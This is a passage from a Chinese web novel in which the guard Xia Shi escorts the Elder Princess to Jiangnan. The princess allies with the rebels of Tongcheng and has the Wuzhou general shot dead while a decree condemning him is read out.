来京城这些日子,夏时也不是毫无长进的,至少她知道长公主是她俩的靠山。她能有钱在京城买宅子,楚棠能平安走出大理寺监牢,都少不了对方的庇护。 楚棠看她应得这样认真,心里又不由动摇了几分。她忽的凑上前去,也顾不上这是在家门口,可能被外人看见了,直接一吻落在了夏时唇上。待看见对方惊讶的微微睁大了眼睛,她这才头抵着头,压低了声音与夏时说道:“保护好长公主,但前提是保护好你自己,我等着你回来呢。” 夏时听明白了,显然自己在阿棠心中比长公主重要得多。这样的认知让她心里止不住的高兴,笑得眉眼弯弯的样子,活像个傻子。 楚棠见她如此,也跟着弯了弯唇角,最后又摸摸她脸颊:“一路小心。” 夏时点头应了声好,一步三回头的走了,直到转过巷口看到外面牵马等着自己的公主府侍从,脸上的笑容这才落了下去。而不笑的她,身上立刻涌现出几分煞气,一看就不好招惹。 另一边,楚棠目送着夏时离开,直到她转过巷口再也看不见,依旧在门口伫立良久。 过了半晌,她似乎才从夏时离京远行这件事上回过神,下意识伸手按了按心口——和上回陪长公主去避暑行宫不同,这次夏时要离开多久根本说不准。这或许是两人在一起后,分别得最久的一次,哪怕夏时才刚离开,她也觉得心口空落落的,思念仿佛从这一刻就开始蔓延。 她有点后悔了。其实长公主身边有那么多护卫,还有那么多禁军随行,夏时就算不跟去应该也没关系吧? 102☆、第102章 ◎转进了街边一处……脂粉铺子?◎ “哒哒”的马蹄声划破山林平静,一对人马踏着烟尘疾驰而过。 这已经是长公主一行人离京的第三天了,也是这一千羽林跟随长公主急行军的第三天。为此长公主特地给每个人都备了双骑,赶起路来几乎就没有休息的时候。 夏时不知道养尊处优的长公主这样赶路累不累,反正她骑在马上是被颠得不行了,昨晚下马时腿一软差点没站住,那些羽林私下里也是叫苦不迭。不过不得不说的是,因为长公主这般雷厉风行的举动,一开始还有些散漫的羽林,最近看长公主的目光都变得崇敬起来了。 又一日奔波结束,天黑后一行人幸运的正好赶到了一处驿站。小小的驿站自然容纳不下一千人的军队入住,但靠着驿站驻扎至少能得到不少便利。 夏时勒停了马儿,随手一拍,就在马脖子上摸到了一手的汗。 她叹了口气,抬腿跨过马身,却再也不能像平时那样潇洒的跳下马背。她一手拽着马鞍,一边慢慢下了地,不出意料腿软了一瞬。好在手抓得紧,很快就站稳了,并没有丢脸的摔倒。 夏时一边庆幸,一边从怀里掏出个油纸包,里面装的是松子糖。她先拿了一颗送进自己嘴里,一抬头看见马儿正扭过脸目光灼灼的盯着自己,只好再拿了两颗喂给对方。马儿“嘎嘣”“嘎嘣”几口将糖嚼碎了,这才满意的甩甩尾巴转了回去。 “辛苦了。”夏时拍拍马脖子,又说了一句。 马儿大抵也是累坏了,没怎么理她,低头在地上啃起草来。 夏时便没再打扰马儿,一抬头就看见长公主已经下了马,这时已经在驿丞的迎接下踏进了驿站。她赶忙小跑着追了上去——跟着长公主进了驿站,好歹有热水热食可用,可比在外面好多了。 长公主听到脚步声也没回头,直到夏时追了上来,她才侧头看了一眼:“不错,还有力气跑。” 夏时闻言挠了挠头,目光不由往长公主身上看去。为了方便赶路,对方穿着一身利落的骑装,赶了一天路后有些风尘仆仆,但不论怎么看对方的姿态气势都没有半点衰颓……就,挺能忍的,也很容易让人忘记她本是个“娇弱”的公主,莫名让人信服。 她刚想着些有的没的,忽然就见长公主一抬手冲她扔了什么过来。夏时赶忙伸手接住,一看是个瓷瓶,紧接着就听长公主说道:“一会儿沐浴完,你抹些药,明日能轻松不少。” 夏时早用过长公主的好药,闻言当即高兴起来:“多谢殿下。” 说话间,两人并十几个侍卫已经随着驿丞一起进了驿站。这确实只是个小驿站,里面房间拢共不过七八间,也只有一个驿丞两个驿卒守在这里,指望他们照顾这一千多人的吃喝显然不现实。但好在驿站里有水井,有灶房,还有一小片他们自己开的菜地,至少是够这十几人的吃喝了。 不需长公主吩咐,随行的侍卫就自觉接管了驿馆的灶房,又有几个人分别去打水摘菜。驿丞等人看着他们忙活,颇有些手足无措,可又插不上手。 长公主见状随口说了一句:“随他们去,驿丞不必在意。” 驿丞闻言如蒙大赦,也不敢往长公主跟前凑,赶忙领着人退回了屋内。 夏时也没闲着,她将驿站内的几间空屋都检查了一遍,最后选了最好也最方便保护的一处屋子,这才请了长公主入内歇息。 走进屋内,没了外人,长公主撑起的气势这才放松下来,整个人肉眼可见染上了疲惫。她抬手捏了捏肩膀,一扭头看见夏时正盯着她瞧,便问道:“你看什么呢?” 夏时闻言没多想,脱口而出:“殿下原来也觉得累吗?” 长公主听到这话险些没忍住翻个白眼,忍了又忍,好歹维持住最后的体面:“我又不是铁打的身子,当然会觉得累。不过是事不等人,需要尽快赶去罢了。” 夏时想想也是,月前她带着长公主逃命时,对方除了坚韧之外体力并不算好。短短一个月时间,就算是脱胎换骨也没这么快的。于是她又转了话题:“江南那边很急吗?那照现在赶路的速度,还得多久才能到地方啊?” 长公主算过了,照她们目前赶路的速度,再有个三五日便也到了。至于江南那边到底急不急,她现在也说不好,总归是要尽快赶到地方才能把控大局。 夏时并不擅长谋略,因此长公主也没打算与她多说,便只道:“再有个三五日吧。” 话音落下,不等夏时再问些什么,外面便有人进来了。却是长公主那一帮侍卫多才多艺,不仅能随行护卫,还有人擅长厨艺,短短时间已经整治出了一桌简单的饭菜。 夏时啃了三天干粮,见到满桌新鲜饭菜,肚子立刻不争气的响了起来。 长公主听到动静侧头看来,见她羞红了一张脸,好笑之余分了她两道菜,倒也没有邀她同桌而食。不过这样也更自在些,夏时高高兴兴谢过之后,端着菜就走了。 ******************************************************** 一夜风平浪静,翌日一行人便再次打马南下。 夏时和羽林们不知道的是,长公主此番南下虽有禁军随行,但也有不少人打算暗中使绊子。只可惜他们都错估了长公主的行军速度,以至于所有的布置都只能追在长公主的马屁股后面吃灰。 又是三天的急行军,在夏时觉得浑身骨头都要颠散架时,一行人终于踏足了江南之地。 眼看到了地方,长公主反倒是不急了,留了两天时间给军队休整恢复。美其名曰恢复战斗力,免得抵达桐城对上叛军时,这群禁军一个个累成了软脚虾。 这话很有道理,哪怕并不好听,人数本就不够的羽林们也安心休息恢复起来。 不过军队休息了,长公主可没闲着,连带着作为护卫的夏时也要跟着她跑来跑去——江南富庶之地,哪怕隔壁桐城就在打仗,但也不妨碍附近的城镇继续过安宁日子。恰好长公主选择的驻扎地正在桐城附近的白水城外,趁着军队休整的时候,她便带着人进了城。 白水城只是一座小城,便是城中官职最高的县令也只是八品的小官。不过长公主并没有去县衙的意思,她带着几个贴身的护卫,只在城中闲逛。 夏时跟着走了一路,也看了一路,便觉这城确实是小,连丰乐县也比不上。 她正观察着周围,忽然就见前方长公主脚步一转,转进了街边一处……脂粉铺子? 夏时眨眨眼,又往铺子里看了两眼,这才确定自己没有看错——长公主这是做什么?跑这么远,顶着满身疲惫进城,结果就是为了找家脂粉铺子买胭脂水粉?她要真在意自己那张脸,不如先找口井打点水上来,把脸上的尘土洗干净,也比涂脂抹粉来的有用! 一瞬间,夏时心里满是腹诽,差点忍不住伸手把人拽回来。但等她扭头去看周围同僚,却见其他侍卫各个面色如常,仿佛长公主进这脂粉铺半点毛病也没有。 夏时见状都不由茫然了一瞬,怀疑是不是自己想太多,才是其中不合群的那个? 自我怀疑归自我怀疑,但夏时脚下的步子却也没迟半分,只顿了顿就紧跟着长公主一起踏进了那处脂粉铺。然后就见长公主往柜台上的脂粉上随意一扫,自然而然的冲铺子里的伙计说道:“这些脂粉都太寻常了,把你们掌柜的叫出来,我要看更好的货。” 一行人*没怎么收拾就进了城,身上还是风尘仆仆的样子,但有些人的气质是旁人模仿不来的。因此伙计一看就知道长公主必定非富即贵,也不怀疑她的挑剔,立刻笑道:“那姑娘稍等,小的这就去寻掌柜。” 伙计去得很快,没一会儿就将脂粉铺的女掌柜请了来。 掌柜的眼睛比伙计更利,目光只在长公主身上一扫,似乎就发现了什么。不过她也没多说,只笑盈盈冲长公主招呼道:“贵客临门,是小店招呼不周。店中确实是有些好货,是东家让人从京城那边运过来的,只是寻常人买不起,这才没有放在铺子外面。客人若是想要,不妨随妾去后面看看。” 长公主很大方的点点头:“我不缺钱,自然是要最好的。”说完抬步跟着掌柜往后堂走了两步,又顿住回头吩咐道:“小夏随我一起去,其他人就在外面等着吧。” 侍卫们领命止步,便只有夏时一个人跟着长公主走进了脂粉铺的后堂。 这里果然如掌柜所言一般,是招呼贵客的地方,不仅桌上摆好了茶水点心,左右柜子里都摆着比外面更精致的胭脂水粉。只不过等长公主入内落坐,掌柜却并没有立刻拿出脂粉来给她看。 两人似乎有着夏时不知道的默契,刚进内堂避开人耳目,长公主便从怀中掏出块玉佩展示给了对方看。 掌柜的一见,脸上笑容便更真切了几分,她提起茶壶给长公主倒了杯茶:“不知贵客想要我做些什么?” 长公主见她看清楚了,便顺手将玉佩收了回去,这才说道:“不需你做些什么,你只要告诉我,最近桐城那边什么情况就够了。”她这样说着,仿佛也笃定对方知道。 103☆、第103章 ◎不可力敌啊殿下◎ 桐城那边的情况简单概括下来就一个字,乱。 原本桐城被叛军占据,梧州军赶来是平叛的,可一场刺杀未遂,就将梧州军和梧州将军一起推上了风口浪尖。王申这个钦差是一点没忍着对方,立刻八百里加急向老皇帝告了一状不说,面对梧州将军时也一点没藏着掖着,双方直接就闹崩了。 原本梧州军五千,王申带来是随从护卫拢共也只有百人,双方硬碰硬的结果根本毋庸置疑。可有意思就有意思在这时候救下王申的不是别人,正是桐城里的叛军。 这一下,梧州官兵刺杀钦差,桐城叛军却将钦差救下并获得了后者的认同。双方的立场仿佛一下子两级反转,桐城叛军变得正义起来,反倒是梧州官兵变成了叛逆。不过不管怎么说,双方该打还是要打,目前桐城那边的战事也没停,只是也没将战场蔓延开罢了。 长公主听脂粉铺掌柜将这些消息细细道来,沉吟片刻后又问:“那桐城中叛军有多少?还有钦差目前待在城中,可还安全?” 夏时听到这个问题眼皮子都忍不住跳了跳——她虽说没什么领兵作战的本事,但当初唐奕也是努力培养过她的。现下长公主这问题明显属于军中机密,就算是正和叛军对峙的梧州军,大概也只知道桐城叛军宣扬的人数,这掌柜又哪能知道具体? 还有城中钦差的消息,就更不必提了。除非这掌柜是叛军内应,否则怎么可能答得出来? 然而她刚这样想完,就听那掌柜想了想,答道:“城中乱民大概有两万之数,除却老弱,能战之人约莫八千。至于那位钦差,想必是安全无虞的。” 长公主听罢点点头,像是一点不觉得意外:“有劳了,多谢告知。” 她说完目光在旁边柜台上一扫,随手拿了一盒胭脂抛下一锭银子,然后抬步就向外走去。等到夏时回神追了上去,一脚刚踏出门槛,怀中就被长公主扔了一盒胭脂:“送你了。” 夏时愣愣接住,整个人还有点懵,离开时下意识往那脂粉铺的招牌上扫了一眼……诶诶诶,这招牌上的印记有点眼熟啊,像是在哪里见过? …… 夏时一时间没想起是在哪儿看过的印记,她们一行人也并没有在白水城久待。 打听完消息之后,长公主下令采买了一批新鲜食材,便带着这些东西回去了城外的临时营地。晚些时候这些食材便被羽林们做成了一锅锅新鲜饭菜,有吃有喝有休息,羽林们的状态肉眼可见的迅速恢复着。同时夏时也从这些羽林口中听到了不少对长公主的感激夸赞之词。 长公主凭借一顿饭菜,小小的收拢了一拨人心。 不过这也只是暂时的,等休整过后,这群羽林听说自己即将平乱的对象不仅是桐城里的八千叛军,五千梧州军也并非同袍之后,多少有些破防了。 领兵的校尉一脸为难的找上了长公主,提醒她道:“殿下,羽林虽勇却只有千人,不可力敌啊殿下。” 开玩笑,对面两拨人虽然不是一伙的,可八千叛军加上五千梧州军,就算这些日子双方交战有所折损,可凑个一万人应该问题不大。她们这一千人凑过去,和以卵击石有什么区别? 长公主闻言只抬眸淡淡瞥对方一眼:“那依校尉所言,咱们就什么都不必做了?” 校尉很想点头,对面两拨人明显不对付,既然如此不如等他们打个两败俱伤再去做渔翁不好吗?可没等他点头,对上长公主的视线他就知道,对方觉得不好。 平白得罪长公主自然是不智的,校尉于是话锋一转:“只靠一千羽林平乱,不免难为。不知殿下奉旨南下之前,陛下可曾允您调遣州府军队平乱?” 调州府之兵平乱是惯例,梧州军就是这么来到桐城外的。不过长公主作为不受皇帝喜欢,还有人在暗地里给她使绊子的那个,显然并没有拿到这样的权利——老皇帝大概也不是让女儿来送死的,或许他的想法和眼前校尉一样,只希望长公主能来收拾个残局。 不过长公主显然不是这样打算的,她对校尉的问话避而不谈,转而反问道:“校尉以为,此番平乱,咱们的敌人究竟有多少?” 校尉不是长公主心腹,自然不知桐城内的情况,他只凭着早先得到的消息大致估算了一下:“梧州军五千,桐城叛军能与之对峙而不败,人数至少翻倍。若要将两方人马俱都收服,咱们的敌人至少万数。”说完顿了顿,复又提醒一边:“羽林之勇,不足以一当十。” 其实校尉自觉估算还是放了水的,桐城的叛军说是叛军,其实就是一群未经训练过的乱民。他们对上朝廷装备齐全的正规军,哪怕是据城而守,以二敌一也是往少了说的。 长公主闻言却笑了,只见她摇头道:“不,你错了,咱们需要面对的敌人只有五千。” ********************************************************** 当长公主领着人和桐城叛军接上头时,随行在侧的羽林校尉还是一副恍恍惚惚的模样。 不仅是他,大概南下平乱的所有人都没想到,第一个配合朝廷平乱的群体会是那群最先闹着造反的乱民。而他们平乱的对象也将彻底转移成梧州军。 所幸此番有人替他们引荐和作保,瘦了一圈的王申官袍空荡许多,但眼神依旧明亮犀利:“臣王申,拜见长公主。”行礼完一指身旁黑瘦汉子:“此乃吴大,桐城众人推举的首领。” 羽林校尉正跟在长公主身侧,闻言手下意识握紧了腰侧刀柄,那目光灼灼的样子像是下一刻就准备拔刀砍人。待斩了匪首,桐城中的叛军也将群龙无首。 在场之人都不傻,包括吴老大,他一眼就看出了校尉的心思,于是直接开口道:“你想杀我也不是不行,不过杀了我也没用,城里自然还有人做主。” 羽林校尉闻言手一顿,目光下意识看向王申。 王申无奈点了点头,坦白了说:“校尉看此人,可是排兵布阵的老手?” 校尉目光转向吴老大,凌厉的目光将人从上到下扫视一遍,只觉得这人和寻常的田间老农没什么区别。紧接着他就反应过来,若是城中没有会排兵布阵的人,哪怕梧州军再废物,这么长时间也不可能对一座小城久攻不下。如此看来,城中确实还有主事之人,甚至那人多半比眼前这匪首还要重要! 握在刀柄上的手慢慢放松,直到挪开,一瞬间剑拔弩张的气氛也由此重新松懈下来。 长公主自始至终没有多说什么,直到此刻才看向王申,说道:“卿此番南下涉险,辛苦了。不知今日与这匪首同来见我,又是为何?” 王申再行一礼,说道:“殿下明鉴,江南百姓非有意行叛逆之举,实为讨个公道。今殿下亲临,桐城众人有意投诚,只想请殿下听听百姓冤屈。” 长公主闻言面不改色,只问:“什么冤屈?谁来叫冤?” 吴老大却在这时上前一步,沉声道:“是我,我来叫冤,为我一家七口。” 原来五年前,吴老大一家所在的州县正好遭灾。他们一家算是幸运,老父老母加上夫妻兄弟和几个小儿,一家八口全都躲过了水患,逃出了一条命。不过家乡被水患摧残得彻底,这一大家子衣食无着,只好随着灾民一起逃离了家乡。 一路上的幸苦坎坷自不必提,他们走了大半个月,所过之处的县城没有一处肯接纳灾民。好不容易听说有钦差来了梧州赈灾,于是各处流散的灾民都开始向着梧州汇聚。 吴老大一家也是如此,幸运的是他们一家逃难至此都不曾有人罹难,抵达梧州之后还有幸领到过一碗粥。而不幸的是吴老大在路上喝了脏水,抵达梧州后不久就病倒了。 也是在这个时候,又有消息传来,钦差带着赈灾的粮食留在了桐城,受灾的百姓可以赶往桐城统一赈济。 喝过粥的百姓不疑有他,再加上桐城并不遥远,便纷纷赶了过去。吴老大一家再次随大流去了,可因为吴老大病重的缘故,一家子走得慢落在了大队伍后面。吴老大担心家人去得晚了拿不到赈济的粥饭,不愿意拖累家人的他,便趁着夜深偷偷跑出去躲了起来。后来他家人见寻不到他,也只能跟着灾民继续往桐城去了。 吴老大躲出去本来是等死的,哪知他命不该绝,过了几日啃着树皮吃着草根病情竟慢慢好转起来。等病愈后他自然想去追家人,便拖着虚弱的身体,再次踏上了前往桐城的路。 这一去,他没找到家人,只在落霞坡下看到了累累尸骨。 吴老大今年其实还不到三十岁,但又黑又瘦的他看上去已有几分老态,此时说起过往不免泪水涟涟:“滔天的洪水冲进村子,我带着家人躲到山上,也逃出了一条命。朝廷说要赈济我们,我们信了,跟着朝廷的话去了桐城。可结果呢,我一家八口,洪水都没淹死我们,可最后却都死在了落霞坡。只留下我一个人,只留下我一个……” 他说得可怜极了,饶是刚才还握着刀想下杀手的羽林校尉,此刻也不由别开了目光。过了好半晌,他才嘟囔了一句:“可,可就算这样,你也不能造反啊,要死很多人的。” 吴老大闻言抹了把眼泪:“我家都死绝了。再说不造反也活不下去,一样得死很多人。” 校尉还想说些什么,可忽然就想起了月前京中的流言——当年死得人太多,又糊弄了朝廷虚报人口,赋税太重压得剩下的人活不下去,所以只能选择造反了。 那之后呢,沉冤得雪之后,江南的赋税会降吗? 104☆、第104章 ◎……其罪当诛◎ 长公主只是长公主,不是储君更不是皇帝,所以她不能许诺江南百姓免税。不过她看着面前黑瘦可怜的叛军首领,还是给出了自己的承诺:“此番过后,一切都会好起来的。” 吴老大睁着泪眼定定看她一阵,没说信也没说不信。 气氛一时间压抑得让人有些喘不过气来,好在王申主动打破了局面,继续说道:“殿下,臣已经查明,当年赈灾官员携带钱粮不足户部下拨之十一,而此番梧州将军欲行险掩盖旧案,也正是因为当年的落霞坡惨事正是由他带领少部兵马亲自施行。” 长公主闻言一点都不觉得意外,她垂眸沉思片刻,说道:“梧州军有五千。” 王申立刻领会她的意思,接话道:“然五千兵卒并非全部叛逆,当年落霞坡一事并非人人参与,便是之前行刺杀之事,大多数士兵也是被蒙在鼓里的。” 有道是不知者不罪。朝廷律法当然不认同这一点,可底层官兵们会认,所以只要长公主出面澄清事实,绝大多数人还是没有那个一条道走到黑的勇气的。再不然桐城内的青壮近来也被训练得不错,拉出来给长公主壮壮声势以作威吓,总是没问题的。 后半句王申并没有宣之于口,却暗暗瞥了吴老大一眼,算是暗示。 长公主看到了,事实上就算没有王申的暗示,她心里也是有着几分成算的。当下又思量片刻,终于还是颔首道:“既如此,便依侍郎所言吧。” 王申闻言再拜,可在场的除了他们俩,其他人似乎都没明白两人在打什么哑谜。 …… 和王申等人短暂的会面过后,长公主领着人重回营地,很快便正式打出了旗号。 夏时并不清楚长公主具体的计划,但她跟在对方身边,也只是为了保护其安危罢了,因此并不多问什么。直到正式赶赴桐城之前,长公主忽然递给她一把精致的弓:“试试看,这把弓你用得可顺手?” 身为猎户,夏时的射术自是极好的,不过她从前用的弓箭多是自制,像这样缠金镶玉的弓她还是头一遭碰。不用猜也知道,这定是长公主自己用的弓,只是不知为何拿给了她。而夏时小心的接过弓后也不多问,试着拉了拉弓弦,便道:“力道有些不够,射不了太远。” 长公主闻言想了想,还是将自己的弓收了回来,转而又让人给夏时寻了把军中常用的硬弓。这次夏时再试了试,便顺手了许多,也如是告诉了对方:“百步之内可射。” 这话有些谦虚,但长公主也不在乎,闻言点点头:“足够了。” 就这样,长公主将弓留给了夏时,然后率领兵马大张旗鼓的赶往了桐城。 …… 桐城外,梧州军还在和城中叛军死磕。 绝大多数士卒是不知道内幕的,他们还以为自己仍旧是在平乱,为桐城久攻不克而烦恼。只有极少数人知道些内幕,比如那位朝廷来的钦差,如今已经坐镇城中,立场反复。 对于前者齐将军自然没什么可说的,只管驱使士兵继续攻城,目的却从平乱变成了灭口。而对于后者他自然也有一番说辞,比如朝廷的钦差并非主动跑去了叛军那边,而是不甚被俘,之后的一切都并非出自他本心,而是被叛军所迫,他们需得将人救回来。 齐将军统领梧州军多年,在军中威信颇重,轻而易举便压制下了钦差“叛离”带来的风波。 只是他没想到,王申果决到从落霞坡回来之前,就已经拿出八百里加急的决心往京城传信了。而他在京中的靠山也因之前几番变故,不再如往常那般手眼通天。 总而言之,他还没收到消息,长公主就已经带着羽林来到了他面前。 收到消息的齐将军整个人都是懵的,不可置信的看向报信的传信兵:“你说什么?哪儿来的军队?打的什么旗号?” 传信兵低着头,并没有看到主将神色,闻言便再说了一遍:“回将军,是从京城来的军队,看衣着旗帜应该是羽林军,打出的旗号写的是是长公主殿下。” “哈?”齐将军发出个意义不明的语调,看表情依旧那般不可置信,末了他甚至还掏了掏耳朵。 开什么玩笑?拱卫皇城的羽林怎么会突然离京南下?长公主带兵就更奇怪了,当今膝下几位公主可从来没听说过哪个有领兵之才。既然如此,朝廷又怎么会忽然让个公主领兵南下?就算是要帮忙平乱,来的不应该是位皇子吗? 齐将军感觉有些微妙,想了想穿上盔甲戴上头盔,干脆带着人出了营地,打算亲自去看一看那支莫名其妙的军队。 副将也觉得这时京中又派军队过来很奇怪,他是个细心的人,心中隐约生出些不妙的感觉。想了想命人带齐了武器兵甲,这才跟随齐将军一起去探查情况。 ************************************************************* 羽林军自然是真的,长公主的仪仗也是真的。 梧州军虽然没进过京城,也没见过长公主,但只要看到对方精良的兵甲装备就知道,羽林的身份多半做不了假。如此一来,站在羽林之前那位年轻女郎的身份,也变得毋庸置疑起来。 齐将军其实也没见过长公主,不过他从前的主子是皇子,姐弟之间长相多少有些相似。因此只看了一眼,他就确定了来人身份,心里隐约往下沉了沉——王申为何躲进了桐城,他比谁都清楚,刺杀朝廷钦差等同谋逆,就算朝廷派遣军队来镇压他也不稀奇。 可很快,齐将军就将这念头打消了。 他先在心里算了算时日,发现此时距离他派人刺杀王申过去还不到半个月。就算京城收到了消息,想要这么快派羽林抵达桐城,也几乎不可能。再则眼前这位好歹是长公主,皇帝的亲女儿,就算不受宠也不可能只派一千羽林给她,就让她来平自己这五千人吧? 这在齐将军看来,和送长公主来送死有什么区别?去年老皇帝才死了两个儿子,今年又死了两个,就算再能生,当爹的心也不至于是铁做的。 如此一般想下来,齐将军的心很快就稳了,虽然依旧想不明白对方为何而来,但应该和自己没关系。 有了判断之后,齐将军的小心思自然也活络起来,他眼珠一转有了个主意。当下挥退身边护卫之人,主动驱马上前,冲着对面抱拳行礼:“末将梧州将军齐焕,拜见长公主殿下。还请殿下宽恕,末将甲胄在身,不便全礼。” 长公主表情严肃,微抬着下巴一副骄矜模样:“梧州将军听旨。” 齐将军一愣,忽然明悟过来,原来这位公主是来传旨的,那么带着兵马随行保护,这一千羽林就不显得少,反而显得多了——看来儿子死多了,皇帝对女儿也上心了几分。 齐将军不疑有他,只是长公主此言一出,他自然也没办法继续在马背上待着了,连忙翻身下马单膝跪地听旨。而随着他的动作,跟随他而来的兵马自然也得下马,登时黑压压跪倒一片。 羽林校尉见到这场面,没忍住又摸了摸自己的腰刀,对方毫不设防的样子看上去真的很好杀啊。 不过这念头也就是想想而已,羽林校尉可没忽视对面那群人身上的全甲,刀砍弯了也不见得能趁机砍下几个脑袋来。于是只得按捺下来,等着殿下吩咐。 长公主倒是没吩咐什么,她当真从身上掏出了老皇帝的圣旨,当众宣读起来。 圣旨的内容自然不怎么和谐,尽是对梧州将军的斥责和问罪——对于胆敢刺杀钦差的将领,老皇帝就没指望一封圣旨就能解除对方兵权,让对方束手就擒。因此这圣旨他原本都没准备写的,还是长公主亲自去求了来,此时读起来也是万分辛辣严厉。 没等长公主将一封圣旨读完,齐将军就被骂懵了,待反应过来猛地从地上弹起:“胡说……” 他一句话还没出口,一支冷箭猛地就从长公主身后射了出来。 那箭来得又快又准,饶是齐将军身在行伍并非酒囊饭袋,发现时也完全躲不开了。他只来得及瞪大眼睛,满眼惊恐的看着那一箭将他封喉,冰冷而尖锐的凉意霎时间带走他的生命。 直到最后一刻,他才听见女子不急不缓的声音,徐徐读完了圣旨最后一句:“……其罪当诛!” “砰”的一声,刚站起来的齐将军倒下了,身上沉重的盔甲砸在地上发出不小的动静。还有不少梧州军根本没反应过来,这时听到动静才下意识抬头,就看见自家将军倒在地上,咽喉上插着支箭,汩汩鲜血正从伤口处涌出,迅速在泥地上洇出一片鲜红印记。 场面蓦地一静,不少人满脸茫然,不知发生了什么。但也有不少人反应过来,后背霎时间浸出一层冷汗。 副将就是后者,因为他和齐将军本是一丘之貉,现在齐将军被朝廷的人毫不留情的射杀了,他自己难道就能有什么好下场?想明白的下一刻,副将当机立断的喊道:“将军冤枉,朝廷连审都没审就将人杀了,咱们也都成反贼了。” 此言一出,梧州军顿时炸了锅。虽然这次跟随齐将军过来的不过几百人,但这些人显然都是受他倚重的部下,双方关系可以用一荣俱荣一损俱损来形容。现在齐将军死了,副将又这样说,大多数人都感觉屠刀抵在了脖颈,于是立刻便有人接话道:“不能他们说什么就是什么,咱们要替将军讨个公道!” 两方人马很快发生冲突,羽林校尉赶忙领兵上前挡住了梧州军的冲击,而长公主早在夏时等人的保护下退至后方。 105☆、第105章 ◎大家都被瞒在鼓里也算是一视同仁了◎ 这场冲突并没有持续太久。 究其根本,还是因为对方主将已失,没人领头的情况下士兵很难发挥出战力——副将显然不是新的领头人,因为他很清楚自己根本没有与朝廷抗衡的本事。之所以决定引发这场冲突,也不过是想寻机脱身,逃之夭夭罢了。 可惜,就是这点小小的谋算也没能成功。就在副将看着两方兵马打成一团,自己借机慢慢脱离战场打算远遁的当口,一支箭矢忽的从远处射来,正正好射穿了他的小腿。 副将痛得闷哼一声,可也知道此刻正是生死存亡的关头,于是狠狠心拔了箭就打算拖着伤腿继续逃。可射箭的人也并没有给他第二次机会,他的另一条腿很快也被射穿了,这次就算是想拖着伤腿跑也不行了,大概只能用爬的。 直到这时,副将才想起齐将军究竟是怎么死的,也意识到对面羽林之中必然有神射手存在。他有些懊恼的捶了捶地面,终于想起自己身上的盔甲与寻常兵士不同,这或许才是他被盯上的原因。 只是副将现在想明白也晚了,而随着他的被俘,闹起来的梧州军也迅速被镇压。 几百号人,大部分被羽林擒拿,但也有少部分四散而逃了。有的人聪明些,又深知内情,干脆直接逃入山野。也有的人慌不择路,逃离之后迅速跑回了军营。 夏时跟在长公主身边,远远就看见十几个人往军营方向逃窜。 她再次举起了手里的弓,冰冷的箭簇对准了原处某个士兵的后心,可犹豫一番到底没有松手——无论是齐将军还是他的副将,显然都是罪不容诛之人,她射杀起来毫无心里负担。可寻常兵士就不同了,她不能断定对方有罪,更何况跑走的十几个人她也来不及一一射杀。 消息总归是要传回梧州军营去的,现在杀人并没有意义,于是夏时又将弓箭缓缓放了下来。而身边的长公主见状也并没有多说什么,只冷眼看着当前境况。 不多时,局面完全控制在了羽林手中。 羽林校尉上前两步,垂首请示道:“殿下,此处叛军皆以被俘,之后如何还请殿下示下。” 说话间,羽林校尉冲身后招了招手。便有羽林拖着死狗一样的副将过来,将人扔在了长公主前方的空地上,方便长公主审问对方。 副将满头的冷汗,拖着两条伤腿抬起了头,目光中多少藏着些希冀——虽然逃跑没成功,但长公主如此强势他也没打算硬抗。只要对方询问,他就能把前上司的所作所为卖个干干净净,只希望长公主看在他老实交代的份上,能从轻发落饶他一命。 对方的想法明明白白写在了脸上,不说长公主,就连夏时也看得清楚明白。可长公主并不打算给对方这个机会,她转身利落的翻身上马,接着下令道:“走吧,去军营。” 长公主说着扫了身边侍卫一眼,后者立刻心领神会,忽然从怀中掏出支响箭放上了天空。 这明显是在与人示警或者释放信号,但训练有素的羽林并不会多问。他们领命之后齐齐翻身上马,做好了出发的准备,至于眼前的几百号人则是被他们用绳索串联拉在了马后。其中以副将情况最为糟糕,伤了腿的他想走也走不了,几乎是被拖着前行的。 耽搁了不到一个时辰,这支队伍进去前进,真正往桐城外的军营而去。 …… 另一边,逃脱的几个残兵回到军营之后,则是另一幅景象了——五千梧州军中的将领自然不止齐将军和副将两人,其下几个校尉,基本也都是齐将军的亲信。不过这些人和那随行的几百士卒一样,有的知道当年内情,也有的是这几年间才被提拔,根本不知对方所犯何事。 但无论如何,朝廷连个交代都没有就直接把梧州将军杀了,还是引得军营中一片动荡。有人问心无愧想为将军讨个公道,也有的存了和副将一样的心思,只想尽快逃离这是非地。 不过不等这两种人闹出个结果,第一个借故离营的校尉刚走到营门口,忽然发现自己根本走不了。 营地之外,黑压压一片人已经将军营包围了起来。看他们身上褴褛的衣衫,再看看他们手上乱七八糟的兵器,对方的身份简直不言而喻——一直被他们包围在桐城里的那群乱民,不知道什么时候竟从城中跑了出来,而且恰恰好就在这时候包围了梧州军的营地,将人彻底堵在了里面。 想离开的校尉愣了一下,心中不知为何生出些不妙的预感。但与此同时他作为朝廷的正规军,对于这些连副盔甲都没有的叛军,也是从心里有些轻视与不屑的。 因此在短暂的惊疑怔愣过后,校尉很快就召集了人马,打算直接冲杀出去。 只是这冒然的决定并没有带给他想要的结果,相反他不仅折戟沉沙,还在了匆忙的一次对战间,轻易的丢掉了自己的小命。 ************************************************************* 长公主带着羽林赶到梧州军驻地时,这片军营还在叛军的包围之中。 隔着老远看清情况,羽林校尉便急忙下令队伍停止前进,然后匆匆跑到队伍中段向长公主禀报:“殿下,前方就是梧州军营地了。只是桐城里的叛军出了城,此刻已将军营团团围住。” 羽林校尉跟着长公主见过桐城中人,自然知道双方是有些联系的,但这并不代表这些被逼至绝境的乱民就不危险——就像当初吴老大说的,都已经活不下去了,他们还有什么不敢做的?万一就有人想不开,觉得可以拿皇帝的公主跟朝廷谈判,要些好处呢? 这样的蠢人绝不是没有,而对于一盘散沙的乱民组成的叛军,羽林校尉也不敢指望他们能有令行禁止的军队素质。所以就算长公主和对方达成了默契,该防备的也还是要有所防备。 羽林校尉十分小心,但长公主显然就要大胆许多,她直接下令道:“让人去请对面领军之人过来。” 这要求多少有些强横,但羽林校尉迟疑一瞬,还是派人去了。他心里没觉得对方会如此乖顺,可出乎意料的是没过多久,传信的羽林当真带着几个人回来了。 为首的人一身青灰短打,身形单薄,远远看去不像是领兵的将领,反倒更像个文弱书生。但这样的身材放在叛军中又似乎十分合理——这是一群活不下去才造反的人,哪怕是作为首领的吴老大,也瘦得跟个麻杆似得,手下人同样清瘦有什么稀奇的? 羽林校尉很快说服了自己,没有多想,直到那人越走越近,也越看越眼熟。 